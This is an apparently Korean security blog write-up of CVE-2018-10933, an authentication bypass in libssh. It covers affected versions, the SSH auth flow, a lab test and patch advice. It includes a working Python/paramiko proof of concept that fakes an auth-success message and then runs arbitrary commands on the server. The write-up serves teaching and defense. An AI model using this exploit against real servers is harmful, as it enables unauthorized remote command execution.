반응형
Description
원격 로그인 프로토콜인 Secure Shell(SSH) 구축에 사용되는 모듈 libssh 이용 서버의 인증 우회공격 취약점(로그인 인증 과정 없이 원격코드 실행 가능) 공격 호스트에서 “SSH2_MSG_USERAUTH_SUCCESS” 메시지를 전송하여 이미 인증이 성공적으로 이루졌다는 패킷 전달로 인증우회
- CVE ID : CVE-2018-10933 VCSS 3.X Severity and Metrics:
- CNA : Red Hat, Inc.
- Base Score : 9.1 CRITICAL
- Vector : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- 영향받는 Version
- libssh version >= 0.6
- libssh version < 0.7.6
- libssh version < 0.8.4
- 해당 취약점은 libSSH가 인증을 진행하기 위해 SSH_MSG_USERAUTH_REQUEST 상태로 대기중 일때 PoC 코드에서 전송된 SSH_MSG_USERAUTH_SUCCESS 패킷을 서버가 수신하게 되면 공격자가 정상적으로 인증되었다고 판단하여 연결을 허용하게 된다.
- SSH_MSG_USERAUTH_REQUEST(50) : 클라이언트가 보내는 인증 요청 방식
- SSH_MSG_USERAUTH_FULLURE(51) : 하나 이상의 인증 방법을 요구할 경우
- SSH_MSG_USERAUTH_SUCCESS(52) : 서버가 인증을 수용
정상적인 인증과정
- 클라이언트가 서버에게 인증 방법 문자열이 ‘none’인 SSH_MSG_USERAUTH_REQUEST 를 요청
- 서버는 클라이언트가 보낸 사용자 이름이 유효한지 여부 확인
- 유효하지 않을 시 SSH_MSG_USERAUTH_FAILURE를 보내고 연결 설정을 종료하며, 서버는 SSH_MSG_USERAUTH_REQUEST를 전송
- 클라이언트는 인증 방법 중 하나를 선택하고, 선택된 인증방법과 필요한 필드와 함께 SSH_MSG_USERAUTH_REQUEST를 전송
- 서버는 클라이언트가 보낸 사용자 이름이 유효한지 여부 확인
- 요구된 모든 인증에 성공하면, 서버는 SSH_MSG_USERAUTH_SUCCESS 메시지를 송신하고 인증 프로토콜 종료
Testing Vulnerability
Attacker :Kali linux (192.168.46.130)
Victim : Ubuntu 16.04.6 LTS (192.168.46.137) -> Docker_apache solr 8.1.1 (172.17.0.3)
#!/usr/bin/python3
import sys
import paramiko
import socket
s = socket.socket()
s.connect(("192.168.46.142",2222))
m = paramiko.message.Message()
t = paramiko.transport.Transport(s)
t.start_client()
m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) // 인증 우회를 위한 코드
t._send_message(m)
c = t.open_session(timeout=5)
c.exec_command(sys.argv[1])
out = c.makefile("rb",2048)
output = out.read()
out.close()
print (output)
원격코드 실행 명령 중 서버와 통신 내역 확인 시, 암호화된 패킷으로 인패 원격실행 명령(hostname) 부분을 확인할 수 없으나 서버측에서 노출되는 libssh 정보 문자열 SSH-2.0-libssh_0.8.3 과 공격자 측에서 Poc 실행 중 사용되는 파이썬 모듈명 paramisk 가 확인된다.
- paramiko : 파이썬에서 가장 많이 사용되는 SSH Library 모듈(telnet 은 telnetlib)
Solution
- 제조사 홈페이지를 참고하여 최신버전으로 보안 업데이트 수행
- 0.7.6 버전으로 업데이트(0.7번대 및 이전 버전 사용자)
- 0.8.4 버전으로 업데이트(0.8번대 및 이전 버전 사용자)
References
- https://www.guardicore.com/2018/10/libssh-new-vulnerability-allows-authentication-bypass
- https://www.kitploit.com/2018/10/libssh-scanner-script-to-identify-hosts.html
- https://koromoon.blogspot.com/2018/10/cve-2018-10933-libssh.html
- https://www.youtube.com/watch?v=ZSWQjmfcn4g
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=27704
반응형